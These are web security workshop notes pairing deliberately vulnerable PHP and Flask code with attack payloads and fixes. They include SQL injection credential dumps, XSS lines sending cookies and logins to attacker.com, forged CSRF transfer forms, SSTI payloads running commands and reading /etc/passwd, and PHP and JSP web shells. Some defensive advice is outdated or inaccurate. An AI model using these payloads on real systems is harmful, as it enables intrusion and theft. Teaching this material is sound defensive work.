Securing Web Apps Workshop Notes

Author: Abdulrahman Tamim (LinkedIn)

The Target Vulnerable Web App :
https://hexbuddy.duckdns.org/

Resources

- Acunetix Blog - Web security insights and vulnerability analysis.
- Invicti Learn - Web application security learning platform.
- PortSwigger Academy - Hands-on web security training.
- HackTricks - Offensive security tips and tricks.

Contents:

SQL Injection (SQLi) - Workshop Guide

Understanding SQL Injection

SQL Injection (SQLi) is a critical web vulnerability that allows attackers to manipulate SQL queries by injecting malicious input into application parameters. This can lead to:

- **Authentication Bypass**: Logging in as another user without valid credentials.
- **Data Leakage**: Extracting sensitive database records.
- **Data Manipulation**: Modifying or deleting records.
- **Remote Code Execution (RCE)** (in some cases).

SQLi occurs when user input is directly inserted into a SQL query **without proper sanitization**.

Vulnerable Code Example

Scenario: Unprotected Login System

```php
<?php
$conn = new mysqli("localhost", "root", "", "usersdb");

$username = $_GET['username'];
$password = $_GET['password'];

$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);
```

```
if (mysqli_num_rows($result) > 0) {
    echo "Login successful!";
} else {
    echo "Invalid credentials.";
}
?>
```

What’s Wrong?

- The user input is directly injected into the SQL query.
- An attacker can modify the query to **bypass authentication** or **steal data**.

** SQL Injection Attack Scenarios**

Authentication Bypass

If an attacker enters:

```
username: admin' --
password: (anything)
```

The SQL query becomes:

```
SELECT * FROM users WHERE username='admin' -- ' AND password='(anything)'
```

- The `--` makes the rest of the query a **comment**, so **password checking is ignored**.
- If `admin` exists in the database, **the attacker logs in successfully**.

Extracting Database Information

Get the Database Name

```
username: ' UNION SELECT 1, database(), 3 --
password: (anything)
```

Query:

```
SELECT * FROM users WHERE username='' UNION SELECT 1, database(), 3 -- ' AND password=''
```

This reveals the current database name.

Extract Users and Passwords

```
username: ' UNION SELECT 1, username, password FROM users --
password: (anything)
```

Query:

```
SELECT * FROM users WHERE username='' UNION SELECT 1, username, password FROM users -- ' AND password='
```

The attacker dumps all usernames and passwords.

Fixing SQL Injection

Solution 1: Use Prepared Statements (Parameterized Queries)

```
<?php
$conn = new mysqli("localhost", "root", "", "usersdb");

$stmt = $conn->prepare("SELECT * FROM users WHERE username=? AND password=?");
$stmt->bind_param("ss", $_GET['username'], $_GET['password']);
$stmt->execute();
$result = $stmt->get_result();

if ($result->num_rows > 0) {
    echo "Login successful!";
} else {
    echo "Invalid credentials.";
}
?>
```

Why It Works?

Treats user input as **data**, not executable SQL.
Blocks **all SQL injection attempts**, no matter what the user enters.

Additional Security Measures

Hash Passwords

Passwords should **never** be stored in plaintext!

```
$hashed_password = password_hash($_POST['password'], PASSWORD_BCRYPT);
```

And verify during login:

```
if (password_verify($_POST['password'], $hashed_password)) {
    echo "Login successful!";
}
```

Restrict Database Privileges

- The web app **shouldn't run as** `root` .
- Use **least privilege**:

  ```
  CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'securepassword';
  GRANT SELECT, INSERT, UPDATE ON usersdb.* TO 'webapp'@'localhost';
  ```

  No `GRANT ALL` or `DROP` permissions!

Input Validation

- Enforce input formats (e.g., **alphanumeric usernames**).
- Use an allowlist:

  ```
  if (!preg_match('/^[a-zA-Z0-9_]+$/', $_GET['username'])) {
      die("Invalid username format.");
  }
  ```

Key Takeaways

Never trust user input.
Use prepared statements (ALWAYS).
Hash passwords instead of storing them in plaintext.
Enforce strict database permissions.
Validate user input using allowlists.

Cross-Site Scripting (XSS) - Workshop Guide

Understanding XSS

Cross-Site Scripting (XSS) is a web security vulnerability that allows attackers to inject **malicious scripts** into webpages viewed by other users. This can lead to:

- **Stealing Cookies & Sessions**: Hijacking user accounts.
- **Defacing Websites**: Modifying page content dynamically.
- **Phishing Attacks**: Redirecting users to fake login pages.
- **Keylogging & Data Theft**: Capturing keystrokes and sensitive input fields.

XSS exploits occur when **user input is inserted into an HTML page without proper escaping or sanitization**.

Vulnerable Code Example

Scenario: Unprotected Search Feature

```
<?php
$q = $_GET['q'];
echo "<div class='alert'>Search results for: <b>$q</b></div>";
?>
```

What's Wrong?

- The **user input (`q`) is directly inserted into HTML**.
- An attacker can inject **malicious JavaScript**.

XSS Attack Scenarios

Stealing Cookies (Session Hijacking)

If a user visits:

```
http://example.com/search.php?q=<script>document.location='http://attacker.com?c='+document.cookie</script>
```

The webpage will execute:

```
<script>document.location='http://attacker.com?c='+document.cookie</script>
```

User's session cookie is sent to the attacker's server, allowing account takeover.

Fake Login Forms (Credential Theft)

Malicious input:

```
<script>
document.body.innerHTML = '<form action="http://attacker.com" method="POST"><input name="username"><inp
</script>
```

Users unknowingly submit credentials to the attacker's server.

Defacing the Website

Malicious input:

```
<script>document.body.innerHTML = '<h1>Hacked by XYZ</h1>'; </script>
```

Replaces the entire webpage with the attacker's content.

Fixing XSS

Solution 1: Escape Output Using `htmlspecialchars()`

```
<?php
$q = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
echo "<div class='alert'>Search results for: <b>$q</b></div>";
?>
```

Why It Works?

Converts `<script>` into `<script>`, preventing execution.

Stops attackers from injecting JavaScript into the page.

Solution 2: Use a Secure Template Engine

Instead of:

```
echo "<p>$user_input</p>";
```

Use **Twig** or **Blade** templates:

```
<p>{ { user_input } }</p>
```

No manual escaping needed!

Solution 3: Use Content Security Policy (CSP)

Add this header:

```
header("Content-Security-Policy: default-src 'self'; script-src 'self';");
```

Blocks inline JavaScript (stopping XSS execution).
Only allows scripts from **trusted sources**.

Additional Security Measures

Sanitize Input Before Storing

If storing user input in a database:

```
$safe_input = filter_var($_POST['comment'], FILTER_SANITIZE_STRING);
```

Removes unwanted HTML & JavaScript.

Validate Input Formats

For a **search query** or **username**, only allow expected characters:

```
if (!preg_match('/^[a-zA-Z0-9 ]+$/', $_GET['q'])) {
    die("Invalid input!");
}
```

Blocks dangerous payloads.

Use `HttpOnly` and `Secure` Cookies

```
setcookie("session", $session_id, ["HttpOnly" => true, "Secure" => true, "SameSite" => "Strict"]);
```

Prevents JavaScript from accessing cookies.

Key Takeaways

Never trust user input.
Escape output using `htmlspecialchars()` **.**
Use secure templating engines.
Implement CSP to block malicious scripts.
Validate input before storing in the database.

Insecure Direct Object Reference (IDOR) – Workshop Guide

What is IDOR?

IDOR (Insecure Direct Object Reference) is a **critical web vulnerability** where attackers can access or modify **other users' data** by **manipulating object references** in URLs, API requests, or forms.

Real-World Dangers

- **Unauthorized access to user profiles**
- **Stealing sensitive documents or invoices**
- **Changing other users' settings (emails, passwords, balances)**

Vulnerable Code Example

Scenario: Unprotected Profile Access

```
<?php
$user_id = $_GET['id'];
$query = "SELECT * FROM users WHERE id='$user_id'";
$result = $mysqli->query($query);
$user = $result->fetch_assoc();
echo "Welcome, " . $user['name'];
?>
```

What's Wrong?

- The **user ID is taken directly from the URL (`$_GET['id']`)**.
- **No authentication check** is performed.
- **Attackers can change the `id` value** to access other users' data.

IDOR Attack Scenarios

Unauthorized Profile Access

If a logged-in user visits:

```
http://example.com/profile.php?id=42
```

They see their profile. But an attacker **modifies the URL**:

```
http://example.com/profile.php?id=43
```

Now they see another user's private profile!

Accessing Another User's Documents

If a user downloads their invoice:

```
http://example.com/invoices/1234.pdf
```

An attacker guesses:

```
http://example.com/invoices/1235.pdf
```

Now they have someone else's invoice!

Changing Other Users' Information

A settings page submits:

```
<form action="/update-email.php" method="POST">
    <input type="hidden" name="user_id" value="42">
    <input type="email" name="email" value="user@example.com">
    <button type="submit">Update</button>
</form>
```

The attacker **modifies the request**:

```
<input type="hidden" name="user_id" value="43">
```

Now they change someone else's email!

Fixing IDOR

Solution 1: Enforce Authentication & Session Checks

```
session_start();
$user_id = $_SESSION['user_id'];  // Only use logged-in user's ID
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id=?");
$stmt->bind_param("i", $user_id);
$stmt->execute();
$user = $stmt->get_result()->fetch_assoc();
echo "Welcome, " . htmlspecialchars($user['name']);
```

Users can only see their own data.
Attackers can't modify the `id` parameter to access other accounts.

Solution 2: Use Role-Based Access Control (RBAC)

For **admin-only** access:

```
if ($_SESSION['role'] !== 'admin') {
    die("Access denied!");
}
```

Ensures only authorized roles can access certain data.

Solution 3: Implement Object Permissions

Before accessing a document:

```
$stmt = $mysqli->prepare("SELECT * FROM invoices WHERE id=? AND user_id=?");
$stmt->bind_param("ii", $_GET['invoice_id'], $_SESSION['user_id']);
$stmt->execute();
```

Ensures users can only access their own invoices.

Solution 4: Use UUIDs Instead of Sequential IDs

Instead of:

```
http://example.com/invoices/1234.pdf
```

Use **random UUIDs**:

```
http://example.com/invoices/a9f4d5e6-3c1b-4e7d-a1f3-2b9d87cde8f1.pdf
```

Harder for attackers to guess valid object references.
Prevents sequential ID enumeration.

Additional Security Measures

Validate API Requests with Authentication

For APIs:

```
if ($_SESSION['user_id'] !== $_POST['user_id']) {
    die("Unauthorized request!");
}
```

Blocks unauthorized API modifications.

Use Proper Logging & Monitoring

Monitor access logs for unusual patterns:

```
192.168.1.10 - - [15/Mar/2025] "GET /profile.php?id=42" 200
192.168.1.10 - - [15/Mar/2025] "GET /profile.php?id=43" 200
192.168.1.10 - - [15/Mar/2025] "GET /profile.php?id=44" 200     Suspicious!
```

Detects attackers scanning for valid IDs.

Key Takeaways

Never trust user-controlled input for object references.
Enforce authentication checks for every request.
Use UUIDs instead of sequential IDs to prevent enumeration.
Restrict access using role-based access control (RBAC).
Log and monitor for unusual access patterns.

Cross-Site Request Forgery (CSRF) - Workshop Guide

What is CSRF?

CSRF (Cross-Site Request Forgery) is a **web attack** where **an attacker tricks a victim into performing unintended actions** on a website where they are authenticated.

Real-World Dangers

- Changing passwords without permission
- Transferring funds from victim's account
- Deleting accounts or changing emails
- Posting spam content from victim's account

Vulnerable Code Example

Scenario: A Website Allows Changing Password Without Protection

```
<?php
session_start();
if ($_SERVER["REQUEST_METHOD"] === "POST") {
```

```
    $new_password = $_POST['password'];
    $user_id = $_SESSION['user_id'];
    $query = "UPDATE users SET password='$new_password' WHERE id='$user_id'";
    $mysqli->query($query);
    echo "Password updated!";
}
?>
```

What's Wrong?

- **No CSRF protection** (attackers can force a user to execute this request).
- **No user verification beyond session authentication.**

CSRF Attack Scenarios

Forcing a Password Change

An attacker sends the victim a **malicious HTML page**:

```
<img src="http://example.com/change-password.php?password=hacked123">
```

If the victim **is logged into their bank account**, their password **changes without their consent**.

Unauthorized Money Transfers

A banking website allows transfers via:

```
<form action="https://bank.com/transfer" method="POST">
    <input type="hidden" name="to_account" value="attacker123">
    <input type="hidden" name="amount" value="5000">
</form>
<script>document.forms[0].submit();</script>
```

If a logged-in victim visits this page, their account sends $5000 to the attacker!

Deleting an Account Without Consent

```
<img src="http://example.com/delete-account.php">
```

If the victim **is logged in**, their account **gets deleted automatically**.

Fixing CSRF Vulnerabilities

Solution 1: Use CSRF Tokens

```
session_start();
if ($_SERVER["REQUEST_METHOD"] === "POST") {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die("CSRF detected!");
    }
    $new_password = $_POST['password'];
```

```
    $user_id = $_SESSION['user_id'];
    $stmt = $mysqli->prepare("UPDATE users SET password=? WHERE id=?");
    $stmt->bind_param("si", $new_password, $user_id);
    $stmt->execute();
    echo "Password updated!";
}
?>
```

Token ensures only legitimate users can submit the form.

How to Include CSRF Token in Forms

```
<?php
session_start();
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
?>
<form method="POST" action="change-password.php">
    <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
    <input type="password" name="password">
    <button type="submit">Change Password</button>
</form>
```

Every form submission must include a valid token.

Solution 2: Use SameSite Cookies

Configure cookies to **reject cross-site requests**:

```
session_set_cookie_params([
    'Secure' => true,     // HTTPS only
    'HttpOnly' => true,   // JavaScript can't access cookie
    'SameSite' => 'Strict' // Prevents CSRF attacks
]);
session_start();
```

Prevents cookies from being sent with malicious cross-site requests.

Solution 3: Use Custom Headers (for APIs)

For API requests, enforce a **custom authentication header**:

```
if ($_SERVER['HTTP_X_REQUESTED_WITH'] !== 'XMLHttpRequest') {
    die("Invalid request!");
}
```

Ensures only AJAX requests from the same origin can modify data.

Additional Security Measures

Implement CAPTCHA for Sensitive Actions

Require CAPTCHA for **important actions** (e.g., password resets, payments):

```
<input type="text" name="captcha" required>
```

Blocks automated CSRF attacks.

Use Multi-Factor Authentication (MFA)

Even if an attacker **tricks the user**, they still need a second factor (e.g., a one-time password).

Prevents unauthorized account takeovers.

Key Takeaways

Always use CSRF tokens for form submissions.
Set cookies to `SameSite=Strict` to prevent CSRF attacks.
Use custom headers (`X-Requested-With`) for API security.
Enforce CAPTCHA or MFA for sensitive actions.
Never rely solely on session authentication to prevent CSRF.

Server-Side Template Injection (SSTI) - A Practical Guide

What is SSTI?

Server-Side Template Injection (SSTI) is a critical vulnerability that occurs when user input is directly evaluated by a server-side template engine. This allows attackers to inject malicious expressions, leading to:

- Remote Code Execution (RCE)
- Database exposure
- Leaking system files
- Privilege escalation
- Website defacement

Real-World Example:

In 2019, an SSTI vulnerability in a web application allowed attackers to execute arbitrary system commands, leading to full server compromise.

Understanding Template Engines

Many web frameworks use template engines to generate dynamic HTML. Some popular engines include:

Language	Template Engine
Python	Jinja2, Mako
PHP	Twig, Smarty
JavaScript	Handlebars, EJS
Java	FreeMarker, Velocity
Ruby	Liquid, ERB

Why Use Template Engines?

- They allow dynamic page generation (e.g., inserting user names).
- Help in code reusability by separating logic from HTML.
- When misused, they become a security risk.

Detecting SSTI

To test if an application is vulnerable, try injecting:

```
http://example.com/greet?name={ {7*7} }
```

If the output is:

```
Hello 49!
```

The site is vulnerable to SSTI.

- If `{7*7}` appears as text, the input is safe (proper escaping is applied).
- If `49` is evaluated, the input is being interpreted by a template engine.

Exploiting SSTI

Exploiting Python Flask + Jinja2

Example vulnerable code:

```python
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/greet')
def greet():
    user = request.args.get('name', 'Guest')
    return render_template_string(f"Hello {user}!")

app.run(debug=True)
```

Remote Code Execution (RCE) in Jinja2

```
http://example.com/greet?name={ {config.__class__.__init__.__globals__['os'].popen('whoami').read()} }
```

This executes the `whoami` command on the server.

Reading System Files

If SSTI is exploitable, attackers can read sensitive system files:

```
http://example.com/greet?name={ {config.__class__.__init__.__globals__['open']('/etc/passwd').read()} }
```

This leaks user credentials from `/etc/passwd`.

Securing Against SSTI

Avoid Using `render_template_string()`

Vulnerable Code:

```python
render_template_string(f"Hello {user}")
```

Secure Code:

```
render_template("template.html", user=user)
```

This prevents direct injection of user input into templates.

Use a Secure Template Engine

Some template engines disable code execution by default:

Language	Secure Template Engine
Python	Jinja2 (sandboxing enabled)
PHP	Twig (autoescaping on)
JavaScript	Handlebars (logic-less)

Example: Using Jinja2 with Autoescaping

```
from jinja2 import Environment, select_autoescape

env = Environment(autoescape=True)  # Autoescapes input
```

Sanitize User Input

Ensure only safe characters are accepted:

```
import re

def sanitize_input(user_input):
    return re.sub(r'[^a-zA-Z0-9 ]', '', user_input)  # Removes dangerous characters
```

This prevents template injection by stripping `{}` and `{ {} }`.

Enable Sandboxing

For extra security, enable Jinja2 sandbox mode:

```
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
```

This blocks dangerous functions from being used inside templates.

Implement a Strong Content Security Policy (CSP)

A Content Security Policy (CSP) reduces post-exploitation risks:

```
<meta http-equiv="Content-Security-Policy" content="default-src 'self';">
```

This prevents JavaScript execution from injected payloads.

Key Takeaways

- Never pass user input directly into templates.
- Use a safe template engine (Jinja2, Twig, Handlebars, etc.).
- Escape output and sanitize user input.
- Avoid `render_template_string()` in Flask.
- Apply Content Security Policy (CSP) for extra protection.

By following these steps, your web applications will be protected against SSTI attacks.

File Upload Vulnerabilities – A Practical Guide

What is a File Upload Vulnerability?

A **file upload vulnerability** occurs when an application allows users to upload files without proper validation. Attackers can exploit this to:

- Upload **malicious scripts** (e.g., PHP, ASP, JSP) and execute arbitrary code.
- Store **malware** for distribution.
- Overwrite critical system files.
- Trigger **denial-of-service (DoS)** by uploading large files.

Real-World Example

In 2021, an improperly secured file upload feature allowed attackers to upload **web shells** on thousands of websites, leading to full server takeovers.

How File Uploads Work

Web applications often allow users to upload files for avatars, documents, or media. A typical upload handler looks like this:

```
if (isset($_FILES['file'])) {
    move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);
    echo "File uploaded successfully!";
}
```

What's wrong here?

- **No file type validation**: Users can upload any file, including `.php`, `.exe`, or `.jsp`.
- **No filename sanitization**: Attackers can upload `../../shell.php` and bypass directory restrictions.
- **No access control**: If files are stored in a web-accessible directory, an attacker can directly execute a script.

Exploiting File Upload Vulnerabilities

1. Uploading a Web Shell (PHP)

If an application allows `.php` file uploads, an attacker can upload a simple PHP shell:

```
<?php system($_GET['cmd']); ?>
```

After uploading, accessing:

`http://example.com/uploads/shell.php?cmd=id`

executes system commands on the server.

---

2. Bypassing File Type Restrictions

Some applications try to block dangerous file types by checking extensions:

```
$allowed = ['jpg', 'png', 'gif'];
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);

if (!in_array($ext, $allowed)) {
    die("Invalid file type!");
}
```

Bypassing this check:

- **Double extensions**: Upload `shell.php.jpg` (some servers execute `.php.jpg`).
- **MIME-type spoofing**: Use Burp Suite to modify `Content-Type: image/jpeg` while uploading `shell.php`.
- **Case manipulation**: Some filters fail to block `sHeLl.PHP`.

---

3. Uploading Executable Scripts

If a server supports multiple scripting languages, an attacker can try:

- `.php`
- `.asp`
- `.jsp`
- `.py`
- `.cgi`

Example: Uploading `shell.jsp` on a Tomcat server:

```
<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = br.readLine()) != null) {
        out.println(line);
    }
%>
```

Accessing:

`http://example.com/uploads/shell.jsp?cmd=whoami`

executes commands on the server.

Securing File Uploads

1. Restrict Allowed File Types

Use a whitelist and validate **both** file extensions and MIME types:

```
$allowed = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($_FILES['file']['type'], $allowed)) {
    die("Invalid file type!");
}
```

2. Rename Uploaded Files

Avoid storing files with user-provided names:

```
$new_name = uniqid() . ".jpg";
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $new_name);
```

3. Store Files Outside the Web Root

Instead of `uploads/` , store files outside the public directory:

```
/var/www/html/ (public)
   ├── index.php
   ├── login.php
/var/uploads/ (private)
```

Serve files through a script:

```
if (isset($_GET['file'])) {
    $file = basename($_GET['file']);
    readfile("/var/uploads/$file");
}
```

4. Disable Direct Execution of Files

If files **must** be stored in a web-accessible directory, disable execution:

For Apache (`.htaccess` in `uploads/`):

```
<FilesMatch "\.(php|cgi|pl|py|sh|jsp|asp|aspx)$">
    Deny from all
</FilesMatch>
```

For Nginx (`nginx.conf`):

```
location /uploads/ {
    deny all;
}
```

5. Limit File Size

Prevent DoS attacks by setting a max file size:

```
if ($_FILES['file']['size'] > 500000) {  // 500KB limit
    die("File is too large!");
}
```

6. Implement Content Security Policy (CSP)

A **CSP** prevents uploaded scripts from executing in browsers:

```
<meta http-equiv="Content-Security-Policy" content="default-src 'self';">
```

Key Takeaways

- Never trust user-uploaded files.
- Validate extensions and MIME types.
- Rename uploaded files and store them securely.
- Disable script execution in the upload directory.
- Enforce file size limits to prevent DoS attacks.
- Use Content Security Policy (CSP) to mitigate XSS from uploaded files.